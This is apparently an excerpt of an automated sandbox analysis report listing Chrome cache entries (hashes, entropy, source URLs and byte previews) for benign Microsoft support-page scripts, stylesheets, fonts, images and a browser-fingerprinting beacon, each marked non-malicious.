SSDEEP:	48:9gqOZplvxm+DnZAKXJJRfhFSenR0waxOf5S6Yi29fJXWcE0129fJBBnfK5DxZ:ZOZvoknZr1P3tCOfV29v29zpIDxZ
MD5:	78C4311E4D7A1AFDE2EC6FB093FE40A2
SHA1:	FB9A1881E03ADF12A393759606FF384F847A52A8
SHA-256:	2CA909B3DA6E4A4FC7FD3C9DD490C4DB45435C995177AA5D7D154852EFD69E25
SHA-512:	8736EA1BD4C1DB34FEE9C3B71753D986FFD56129C12C3D3B3C41B920936C13DFFA59E887FC50A6D6AF33C74A9CAD1531FCCBD9620AE0C1AE2FA3C8BF455465AE
Malicious:	false
Reputation:	low
Preview:	!function(){"use strict";var t,n,e,o;function i(t,n){var e,o,i,r;"object"==typeof window.top.analytics&&(t.behavior=null===(o=null===(e=window.top)\|\|void 0===e?void 0:e.oneDS)\|\|void 0===o?void 0:o.Behavior[n],null===(r=null===(i=window.top)\|\|void 0===i?void 0:i.analytics)\|\|void 0===r\|\|r.captureContentUpdate(t))}(e=t\|\|(t={})).None="None",e.EU="EU",function(t){t[t.Undefined=0]="Undefined",t[t.MinorWithoutParentalConsent=1]="MinorWithoutParentalConsent",t[t.MinorWithParentalConsent=2]="MinorWithParentalConsent",t[t.Adult=3]="Adult",t[t.NotAdult=4]="NotAdult",t[t.MinorNoParentalConsentRequired=5]="MinorNoParentalConsentRequired"}(n\|\|(n={})),function(t){t.Impression="IMPRESSION",t.SignIn="SIGNIN"}(o\|\|(o={}));var r,l=function(){return l=Object.assign\|\|function(t){for(var n,e=1,o=arguments.length;e<o;e++)for(var i in n=arguments[e])Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i]);return t},l.apply(this,arguments)};function d(){var t=window.top.document.getElementById("iframeOP");return"

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (45900)
Category:	dropped
Size (bytes):	45963
Entropy (8bit):	5.396725281317118
Encrypted:	false
SSDEEP:	768:H/eCtKv79zpXXfoJLjtK8Dx1DieS3i8eqUvdX:W/vXQJJDD27W
MD5:	F00CFBA8F9859DFEFDFE90EA520C6FCF
SHA1:	B32E153588A287DE81050E327EB5BD7A90B04D99
SHA-256:	977CC9882BA50763333DF64E98D26BC3C60A15D6EFA4A2C1FE70579985EDDF84
SHA-512:	DA51FAB6D6A6B05A1730FB97656A496870FE1248616BC3F9DDBE101D1C189B6BEC7CAF63976418F88843AFA64763D25542787116FFE0E43E35BF3DCE61914DAB
Malicious:	false
Reputation:	low
Preview:	!function(){var t={8488:function(t,e,n){var r=n(2746);t.exports=r},3104:function(t,e,n){var r=n(7273);t.exports=r},6564:function(t,e,n){var r=n(2445),o=n(3478),i=n(7269),a=r.TypeError;t.exports=function(t){if(o(t))return t;throw a(i(t)+" is not a function")}},5719:function(t,e,n){var r=n(2445),o=n(3478),i=r.String,a=r.TypeError;t.exports=function(t){if("object"==typeof t\|\|o(t))return t;throw a("Can't set "+i(t)+" as a prototype")}},1313:function(t,e,n){var r=n(4486),o=n(6635),i=n(9783),a=r("unscopables"),u=Array.prototype;null==u[a]&&i.f(u,a,{configurable:!0,value:o(null)}),t.exports=function(t){u[a][t]=!0}},3855:function(t,e,n){var r=n(2445),o=n(7455),i=r.TypeError;t.exports=function(t,e){if(o(e,t))return t;throw i("Incorrect invocation")}},4482:function(t,e,n){var r=n(2445),o=n(3406),i=r.String,a=r.TypeError;t.exports=function(t){if(o(t))return t;throw a(i(t)+" is not an object")}},3410:function(t,e,n){"use strict";var r=n(2445),o=n(6981),i=n(5633),a=n(2048),u=n(7065),s=n(1977),c=n(9

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 3840 x 2158, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1294919
Entropy (8bit):	7.99572137698945
Encrypted:	true
SSDEEP:	24576:cdItvCo7fHceODSQoMo40ijTJhhwIigxdjhINHM74D0gzsFWNvyUII:cdQCo7fHwS1MkiPhwgxdNINH50gzsgdh
MD5:	E812C68FA007098DED6DD384B2C22FD7
SHA1:	C25647DEF1A2BC089043A1D4EBA8B524F9D7EDFB
SHA-256:	24C68A968E99D841F446D6953D3EB15109B286DE77FBBAF60A0577375D0D9A16
SHA-512:	032A72D5061274B214FD85EBA7ABE89203FC024BAA1C09C52CD9E91EF4D615192777774ACAE159E1EA0EA658F22CBF684572F90C3B2ED40F2C4F7179BC359C9D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......n......b.....NzTXtRaw profile type exif..x.W[.$'....>....qxF..>.S...k{7.]1U..@.).&..<...Hk.Y..VJ./........)f..~.~........g....'u.....4..>=..D...>..l...I...)?..}..i...x&..@w...o......C.KK.Pb.R..^.....S.)U..gO9...z&.!_.}......{+\|g_../.s.F.o\..#4~.A........#..A.5.$....}..\.hy"..~1d..(O.Y.U.'hW....=NH....F.UN.L.:....4.b....'d1.B.......E.kjiAAN.wH.f~.B.n..&)V^..L....?^..:....L...LHOW`.......1...+]..~]...S`!T..8...=.;......:'..<o.Q....am.3..@,.....\...B...9e.P.Dx.I.)....mm\|S..pa3.6A.I%Uh.R.X9..fE.uI.E.H....Tr.RJ-V.zM5W.....I......7n.5PZi.ik.w...u..1..2x....2...F......2...f_..B.Xe....)lT.......v?...N>r.GO;......o.F.j.J..V..P.k..r"....LP....h6.R.l.f.1.B.N.i...b.0ob9...C._.-...n._.....P.@..u..j.....,4NcB....q..rz.2W.x.^..[M........<....\..j.h.......x....a}..\..:7....R.B.....4. [.{.abpdfTPx...K.n..P......mQl.i..@-....%.,..F.</./+".;......rL......L #.E7j.-,..#.X....s,.......c..<@...@=....e.L...Kn...@..af..0....f.A!s=.*.Jo..4.%..,..^xR..

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	6
Entropy (8bit):	2.584962500721156
Encrypted:	false
SSDEEP:	3:fCu:au
MD5:	AAAB7A355103063D9EEB4824A3A6B374
SHA1:	E51555F02C32321F3E48F07A0FA5AF46DF835BFC
SHA-256:	79BA862622D6FA84AC7E4F98EB95043A255FC2C81711E9400A8AA4D4B1608471
SHA-512:	D1A0C9C4F628459F5CA904405B2A66A69425A50E8DCE1BAA43161D784EB219BD3E1FD9447BCBACC314652EDA08CF0B02C863C87F3AC1534AE0F62A414C191F1B
Malicious:	false
Reputation:	low
URL:	https://fpt.live.com/Images/Clear.PNG?ctx=jscb1.0&session_id=580b85fc2bfd4d5ca847f21f296d9c66&CustomerId=33e01921-4d64-4f8c-a055-5bdaffd5e33d&esi=YnVhPU1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMTcuMC4wLjAgU2FmYXJpLzUzNy4zNiZvcz1XaW4zMiZscHJvYz00Jm9sPXRydWUmcnR0PTIwMCZjaHJtPXRydWUmcHJvc3ViPTIwMDMwMTA3JmV2YWw9MzMmYXBwdj01LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzExNy4wLjAuMCBTYWZhcmkvNTM3LjM2JmxzPXRydWUmZG09OCZtdHA9MCZuYz03NCZwcj0xJnNyPTEyODB4MTAyNCZzY2Q9MjQmYXNyPTEyODB4OTg0JnR6PS0zMDAmZHN0PTYwJnR6bz0tMjQwJmJsPWVuLVVTJm10aD0yN2Y1MWQzMTQ5ZTZiZjIwOWI2NmJkMzg3YjBhZjNjNCZtdG49MiZwbj01JnBoPWYzYWMyMmFjNTljNmRjYjg3NDEwOWQwOTNjNTI1NWU4JnA9cGx1Z2luX2ZsYXNoJTNEZmFsc2UlMjZwbHVnaW5fd2luZG93c19tZWRpYV9wbGF5ZXIlM0RmYWxzZSUyNnBsdWdpbl9hZG9iZV9hY3JvYmF0JTNEZmFsc2UlMjZwbHVnaW5fc2lsdmVybGlnaHQlM0RmYWxzZSUyNnBsdWdpbl9xdWlja3RpbWUlM0RmYWxzZSUyNnBsdWdpbl9zaG9ja3dhdmUlM0RmYWxzZSUyNnBsdWdpbl9yZWFscGxheWVyJTNEZmFsc2UlMjZwbHVnaW5fdmxjX3BsYXllciUzRGZhbHNlJTI2cGx1Z2luX2RldmFsdnIlM0RmYWxzZSUyNnBsdWdpbl9zdmdfdmlld2VyJTNEZmFsc2UlMjZwbHVnaW5famF2YSUzRGZhbHNlJmZoPTJhMjk4NDlhZjA3ZGQxNjFkZGM3MzA0MGJlMjVmM2YwJmZuPTExMiZsaD1odHRwcyUzQSUyRiUyRmZwdC5saXZlLmNvbSUyRiUzRnNlc3Npb25faWQlM0Q1ODBiODVmYzJiZmQ0ZDVjYTg0N2YyMWYyOTZkOWM2NiUyNkN1c3RvbWVySWQlM0QzM2UwMTkyMS00ZDY0LTRmOGMtYTA1NS01YmRhZmZkNWUzM2QlMjZQYWdlSWQlM0RTVSZkcj1odHRwcyUzQSUyRiUyRnNpZ251cC5saXZlLmNvbSUyRiZ3PThEQ0M4NzhBODc4M0Q0MyZpZD03YWMzYzdkMC0zZDlhLTQzY2MtNTY5Zi1mYjdjNzYzODZmY2ImYT0mYz1iMGVhZGI5MzQxNjZiNjk2MDdiODI1OTIyMzM2MTc2ZA==&eci=eyJ1dmRyIjoiR29vZ2xlIEluYy4gKEdvb2dsZSkiLCJ1cmRyIjoiQU5HTEUgKEdvb2dsZSwgVnVsa2FuIDEuMy4wIChTd2lmdFNoYWRlciBEZXZpY2UgKFN1Ynplcm8pICgweDAwMDBDMERFKSksIFN3aWZ0U2hhZGVyIGRyaXZlcikiLCJ2ZHIiOiJXZWJLaXQiLCJyZHIiOiJXZWJLaXQgV2ViR0wiLCJpZHVoIjoiMTViNmNhNDcyNjliZTQyODc1Njg1MDY5MzdlOTkxN2MifQ==&PageId=SU&u1=&u3=10.0.0&u4=x86&u5=64&u2=(Google%20Chrome%2C117.0.5938.132)%2C(Not%3BA%3DBrand%2C8.0.0.0)%2C(Chromium%2C117.0.5938.132)
Preview:	dfp:OK

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 297 x 166, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6270
Entropy (8bit):	7.945330124411617
Encrypted:	false
SSDEEP:	192:zS7+uH6tmhCSqN0K4Wykh3YMBYpAjav+tlXQ:m7vHqS9WyiooqSa2m
MD5:	5C04A186E00E47C2F90ED18E03AB4093
SHA1:	AC859795B92E3FA0FA88868AF532A3ED6F30F12A
SHA-256:	1A16DBCD6926721D9C3AEB85429586B307F11D2093CF9AEEFDAA37898CB74D46
SHA-512:	909830B01A21E61D98ADF1C61DFC44BD414CF03C51250A9DD7B5C26FB12D6334D984A21F25B5ED089FFDED4CAAA764579EEA317470C8616B7928E989B1A1778A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...)...........y;....pHYs.................sRGB.........gAMA......a.....IDATx...._S...SE4....&..DE0(.e.&jb...h....C..b,.i.na.2pI.P"H.!. ZB....w.~..g_._..$'.....>...k..p.....z............:.x...l...:.g.u.......Fz..I..Sh.......T..L)}.c..e.T1.........OL..T,\N\..K4.57.......{./.yR.H.JlQ......@..b...TAT.....)6.0-."... .&..:K.d]1L...R..lJ.......:.....9.\|?}..........g..K..._.R....bk.i..E..K.%`...O....i..E.U....J.L.v.\|..a........bV.jY.>3...M.$R......T.J.....(:......z..L..E5".w.wl.w.g.A1..E.\|.......[a...g..T.....J...U.z..\|.l)..8..U..kp.cR........T...1..l.n\|.i....5...k.j...q.F.}.E/#.j...D....T....3'..^.^:.4.Z....K.`..c@9.Y.=S.W..t..=&.Z.G.R-....%f..xG...".../l.....[.WTw/er#..I.....L.>..R\.........!..U. .5...C.ol.0%....=.....L..B..L..9.&..c.O%T\|..h........egj?A......&...-*.X......;p...nf....T.....,bea.bj#.%....1..0L(Q.... ..sL..P...E.cX%.e...v.SQ".njw...:.>...\.%...b[T..cn'.#Z..i...C..%CX."....ej<.Q.LB......u.(.....E.?.'sR...DN

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.625
Encrypted:	false
SSDEEP:	3:Hfn:/n
MD5:	BEB5075867AC37A3C8903AB23A5ABA22
SHA1:	86A41106441F795558A31574CBD24D5403E2F054
SHA-256:	BD38B37956C818D4084814F47B69B7798F07AF7889D3D13DEBBD2D76ECB86095
SHA-512:	976D88CFEF9792BC882CA8BB7F7F784BB97EA2046999D67C43DD4C2391943238BF9EE3DECD50DC2495829E65E9281D999E1272B188B489B1AFF59AECEE3E139A
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkV74dSiH35ARIFDel_Cl4=?alt=proto
Preview:	CgkKBw3pfwpeGgA=

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 36748, version 0.0
Category:	downloaded
Size (bytes):	36748
Entropy (8bit):	7.993571055882259
Encrypted:	true
SSDEEP:	768:J1RjXb4nQ5CZV6qEfz1mfNwUcf0Rn//WAlsuqjCf8qs2opmUrYSRc:RXEnQ5fzAlVe0R//WAx7b//Uxc
MD5:	88749B8058F99835F5A6B87FCC9CEDA1
SHA1:	A491726E067475E187E270D4469A96E016BD30A7
SHA-256:	F447D199F99F6EC55B5308B737A69F384032D3D0C1D05FBC41782AA50ECEB92C
SHA-512:	D595CC3E4220CB879389138D34B2DFBC9DC40EA5E83A81944FA73CBDFBBFC70D53285F8A11CEB921F55C7171EFB4A1242AE1819F0A505C0ECA06772357B2AF65
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/css/fonts/support-icons/fluent/latest_v1_95.woff2
Preview:	wOF2..............M....<.........................`..b........W.6.$..<..4.. ..X. [..QD`...P.<DT.~X..I...."!........_..M\|..\|[.'...FR.EH?b......0...J.....k...K.....[...1ir.x.I)\H...0..8q..... i....u.~..1...F..Cd........px~.=%..D.H.....(..@A......N..p.\.v...m..[.nkW...m...O]....6.7.;.'$....D.4..q.?.E.\%5S.UjB...V)..x...Y.C.........o....j..4@r..P{.H......f.....8 ..Q....(......f..8p....\d.....R.4......m........%r.K.....F3..I...!.k8r.d{4.OD&...0...r..B.2e.4u.....Q._...lR.v...F..p...J%IQ.j.....alI.D..&.?..... .N...Z=...G.%..o.N..I6.."u.j._.!...N..L...).&I...../..N.n......J].%....5.p.H.#+..dw..".h.."..O...i.D.TI..I.&.J...%g..-Y,.-.-',O.....y.gm.l3m+......Q..Q..P..Q....m......0.#0..1.........q.wp.....'..#.(..L...SQ*I...5..4.6.f.M.....ct.....E.......$9.K..sRN.i8...\.+s5..-.+...<.G....3x=o...^.e-YG....&.G......B.R..".W.S..C.X.W.UT..t=.H7..X=W...Z.]......T'LR...05L]...7#.....7........>.>..Q....q.q..Y.peu.s.pmq.u..4.,.\.....g.t..........DB.!.<v..\|R..E.G.E.]5.

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (26071), with no line terminators
Category:	downloaded
Size (bytes):	26086
Entropy (8bit):	5.432818104736514
Encrypted:	false
SSDEEP:	384:us282x+ZOj5jMGgKAztoDx3SF/uuRcFoyJD53QDCMkDoEo91YGtua6ca+D+oOLcG:arB/0FxO4Qcr9SGYafV5G
MD5:	A923FB946929633E387E4D2017006546
SHA1:	84D3DCF57A9EF34EA731A1B28F9ECE4B0B267A08
SHA-256:	67A664918FD7F224CCE362DB7078440CD693E1EF6B30EFF33C06F112C17102FA
SHA-512:	A974D3511DD1ED3197BC6A90F9561CDB83120E99D8276C38E32C79005E59C5C7048C8652E3DF5A1DB06191B3B6793A4C75A5C2060CC12ACB36D1E6F31C2E6BFB
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/css/Article/css.css?v=Z6ZkkY_X8iTM42LbcHhEDNaT4e9rMO_zPAbxEsFxAvo
Preview:	.@media screen{-ms-viewport{width:device-width}}@media screen and (-ms-high-contrast: active){textarea[placeholder],input[type=search][placeholder],input[type=text][placeholder]{border-color:WindowText}}header,footer,hgroup,nav,section{display:block}.font-bold{font-weight:600}.ocHidden{display:none !important}.clear-fix:after{content:".";clear:both;display:block;height:0;visibility:hidden}input{-webkit-appearance:none;-webkit-border-radius:0}#obf-EmailCheckBox,#obf-BasicFormScreenshotCheckbox{-webkit-appearance:revert}.content-wrapper{margin:0 auto;width:100%}.main-content,.ocFB,#ocAsstHelp{font-size:62.5%}.main-content #ocAsstHelp{font-size:100%}#product,#home,#category,#endnode{min-width:1220px;margin-top:10px}#endnode{margin-top:0}#universal-header-search-auto-suggest-transparent,.f-auto-suggest-no-results.f-auto-suggest-no-results{display:none}.grd{display:block;position:relative;width:90%;margin:0 auto;max-width:1440px;padding:0 1em;padding:0 1vw}.grd *{box-sizing:border-box}.gr

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (10387), with no line terminators
Category:	downloaded
Size (bytes):	10930
Entropy (8bit):	4.777922581824855
Encrypted:	false
SSDEEP:	96:4CGjCf1IQNnJ0DuXGJzhIGcjfkfN9xekArvsAJKom+tmTjotKfCYzwsm1L+mFb:4CGjCf3Nn2DuWPlPIvPm+trQfCYiL+wb
MD5:	509E44BDCA06692FD924908DE96BE75B
SHA1:	2B68EABA6109F02706D13775CBC357CA40785ABE
SHA-256:	37D8CC7CC2283BFB3B3804CDD23E4B62A98EF4C0AA1C38DFA5A515D91B9A132F
SHA-512:	44E648E2433C01B879CF952AD1ACBAEE97EF82C18F846429019EF343E5272B568BE3BD9CC530E244E1E282D7CF42A1D215E79756968A4D82B845F0E242551ACF
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/css/glyphs/glyphs.css?v=N9jMfMIoO_s7OATN0j5LYqmO9MCqHDjfpaUV2RuaEy8
Preview:	..icon-fluent{font-family:Support Fluent Icons;font-style:normal;font-weight:normal;line-height:1px;display:inline-block;vertical-align:baseline;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.supTabControlHeader .supTabControlHeaderActive .icon-fluent{font-weight:900;color:#000}.supTabControlHeader .icon-fluent{color:gray;font-size:.9em;padding-right:5px}html[dir=rtl] .supTabControlHeader .icon-fluent{padding-left:5px}.icon-mdl2{font-family:Support MDL2 Assets;font-style:normal;font-weight:normal;line-height:1px;display:inline-block;vertical-align:baseline;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.supTabControlHeader .supTabControlHeaderActive .icon-mdl2{font-weight:900;color:#000}.supTabControlHeader .icon-mdl2{color:gray;font-size:.9em;padding-right:5px}html[dir=rtl] .supTabControlHeader .icon-mdl2{padding-left:5px}.icon-accept:before{content:"."}.icon-actioncenter:before{content:"."}.icon-actioncenternotification:before{conten

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	244
Entropy (8bit):	3.9578451145055067
Encrypted:	false
SSDEEP:	6:+chBVuYNMmUrSKpaqUjGYn5/pU+w3mhPaYJ:DgY8Rpejbn5/qfWdJ
MD5:	DC8B08D1F06E6B30C5A09C167283B96D
SHA1:	3CCA932945AB9B1ECAB640C47AB49C1AF003537E
SHA-256:	1778E276E88A3E97BB744FF2FF2D32048168A8FAB2DF54190FE8698E0CC5B8EC
SHA-512:	44CDF60AA4CA099C7EFE1C928CF6FC837FF0882A439109F7DD43D5A295D828E68D79AEB2E153A8ACF4E1E8C69C8E6236AC1ADFCCD70E2B211C16F41F7A555974
Malicious:	false
Reputation:	low
Preview:	a2f58ead0c592d7210ac7a0b45b4fceb6a9e2f56773a58bb56a255d50c2711a7a0f997b5d51bbbe296dd9d7c5853096c3abcc27ec6aed1c91401ace9f573e809834237072f0540e68c5d32a5823d758d7d9d2ae0ce23bdb8beb01c4fdaf00e7b96ed2f360214d7abe181f6efa027facfad2f23a183bfc7822840

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 901881
Category:	dropped
Size (bytes):	231091
Entropy (8bit):	7.998390937544825
Encrypted:	true
SSDEEP:	6144:Z4w6J4OiKySVPhKwGX9rZUKsSqNNZPRNSBX:awkViKySV5KXX9mBS0NZZYX
MD5:	05A20B73D23C52A09386F3222045E62D
SHA1:	0991D7FD9A84F82DD39FBE065C0070D3196F497C
SHA-256:	BAB90DCF5FE87AB6DDEED7339CC36967BA7188CE3E01CCF7C65D9369056C41A4
SHA-512:	F93017FD9AC4A684D5BBC5BD44992D9687DDA5011050B9F7AA1718EA99F91E5BB7031854461E48316D10D095347E5953F376949EFCC57348980D792AD745BFCE
Malicious:	false
Reputation:	low
Preview:	...........iw.8.(.....n....dg...M....l.'.N.}}h...H...8.....+E9.g.g.{&...A.K..T.j..........r#.Fy1K.4.6.S.@V)..:...QrV..S...,./....::hW_......6G.l.....yRlHQ.L.".i\|..nw.ndJ....+..j.."..](..<..L..p?...zw9.e.....\{..C9J...M...9-....U2..cY=...."=....a...."/.3.../iF.9d..T.%.:S.Ne6.&.h.W...t....../f2.J~H.K.,..n......z6O....n..4.Z..ll...^..Z..F.N.r.CV?.....=.......r...rt........:...:..8!$(..g..A.Z.Lb%....B.....t>VZ.y....Y>-...SY..t^..:%..Yz=.c.o..'...</.26 ..!{x....bt6nm.......,.x.da/...7.x.........&......$N.......=X.........~.PL.No.(i3....'..Y..ONz..f......[[.%f[[3JL........x.d.,.U..U..:....:0.......),..Kq.o..}oI....N..W..t~+...Y..j....h..,....m.T.J.e..RB..._..b.u.ql.7u.Nz_.-2..li.......`.`O+..1h.2..S.+..F.:...l.M...t.6..B.".;u...T.g.t....@..[-.Q........b..P..<...TLm.2...K%.e6p:....]S.`Q..S.....m.#Ur..w#x....CUl.V.M.N.i.....Tv.....8k,2M.^."..ec..i>..Z...a..a.8...{_\4.,d9.33k...y...,U..vU..u..]N.# ~..bk+[L...$oUl..^y..f.;..).<R...a..?..g.?

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64241)
Category:	downloaded
Size (bytes):	171486
Entropy (8bit):	5.043877429718187
Encrypted:	false
SSDEEP:	3072:jzCPZkTP3bDLH0tfRqQ0xtLfj4ZDSIpTt813viY8R1j35Ap7LQZLPPJH7PAbOCx1:jlZAW9kJeqg
MD5:	B7AF9FB8EB3F12D3BAA37641537BEDC2
SHA1:	A3FBB622FD4D19CDB371F0B71146DD9F2605D8A4
SHA-256:	928ACFBA36CCD911340D2753DB52423F0C7F6FEAA72824E2A1EF6F5667ED4A71
SHA-512:	1023C4D81F68C73E247850F17BF048615DDABB69ACF2429644BDAF8DC2A95930F7A29CEAE6FBD985E1162897483A860C8248557CDA2F1F3D3FF0589158625A49
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/onerfstatics/marketingsites-neu-prod/west-european/shell/_scrf/css/themes=default.device=uplevel_web_pc/1b-9d8ed9/c9-be0100/a6-e969ef/43-9f2e7c/82-8b5456/a0-5d3913/43-5a5ab8/ca-ae3ce4?ver=2.0&_cf=02242021_3231
Preview:	@charset "UTF-8";./! \| Copyright 2017 Microsoft Corporation \| This software is based on or incorporates material from the files listed below (collectively, "Third Party Code"). Microsoft is not the original author of the Third Party Code. The original copyright notice and the license under which Microsoft received Third Party Code are set forth below together with the full text of such license. Such notices and license are provided solely for your information. Microsoft, not the third party, licenses this Third Party Code to you under the terms in which you received the Microsoft software or the services, unless Microsoft clearly states that such Microsoft terms do NOT apply for a particular Third Party Code. Unless applicable law gives you more rights, Microsoft reserves all other rights not expressly granted under such agreement(s), whether by implication, estoppel or otherwise././! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css /.body{margin:0}.context-uh

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.378783493486175
Encrypted:	false
SSDEEP:	3:qinPt:qyPt
MD5:	4C42AB4890733A2B01B1B3269C4855E7
SHA1:	5B68BFE664DCBC629042EA45C23954EEF1A9F698
SHA-256:	F69E8FC1414A82F108CFA0725E5211AF1865A9CEA342A5F01E6B2B5ABE47E010
SHA-512:	0631C6EFD555699CB2273107FE5AF565FEC2234344E2D412C23E4EE43C6D721CB2B058764622E44FD544D840FF64D7C866565E280127C701CAAB0A48C35D4F5C
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwnCrLUEbyIXeBIFDYOoWz0SBQ3OQUx6?alt=proto
Preview:	ChIKBw2DqFs9GgAKBw3OQUx6GgA=

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1789), with no line terminators
Category:	downloaded
Size (bytes):	1789
Entropy (8bit):	4.949297796790656
Encrypted:	false
SSDEEP:	24:s02Yxod02La21d02/YKdXSd02WwKnccd02+49XX3Xsd02wGy/rd02XLryWrrd02O:sAwzXH2+9WqXHXW4GuJ/v9M
MD5:	49696FC959CE2121F8FC42BC0A295EDF
SHA1:	353FE5D1F17B396C81383059C66E73574991A78B
SHA-256:	E0CFF5C0E0126AD78EB3DCDDA610AD22A32FB4AA37EBA19FEA990E8C3AB3918A
SHA-512:	AF4C277F64FD43CE18E94EE797FB7C4B3D19BD84B0741DFC30AE6E1FE77809EBB36CAA0341A4A86405D275E0AF63A951E488370F4A689636560049AA71084E05
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/css/fonts/site-fonts.css?v=4M_1wOASateOs9zdphCtIqMvtKo366Gf6pkOjDqzkYo
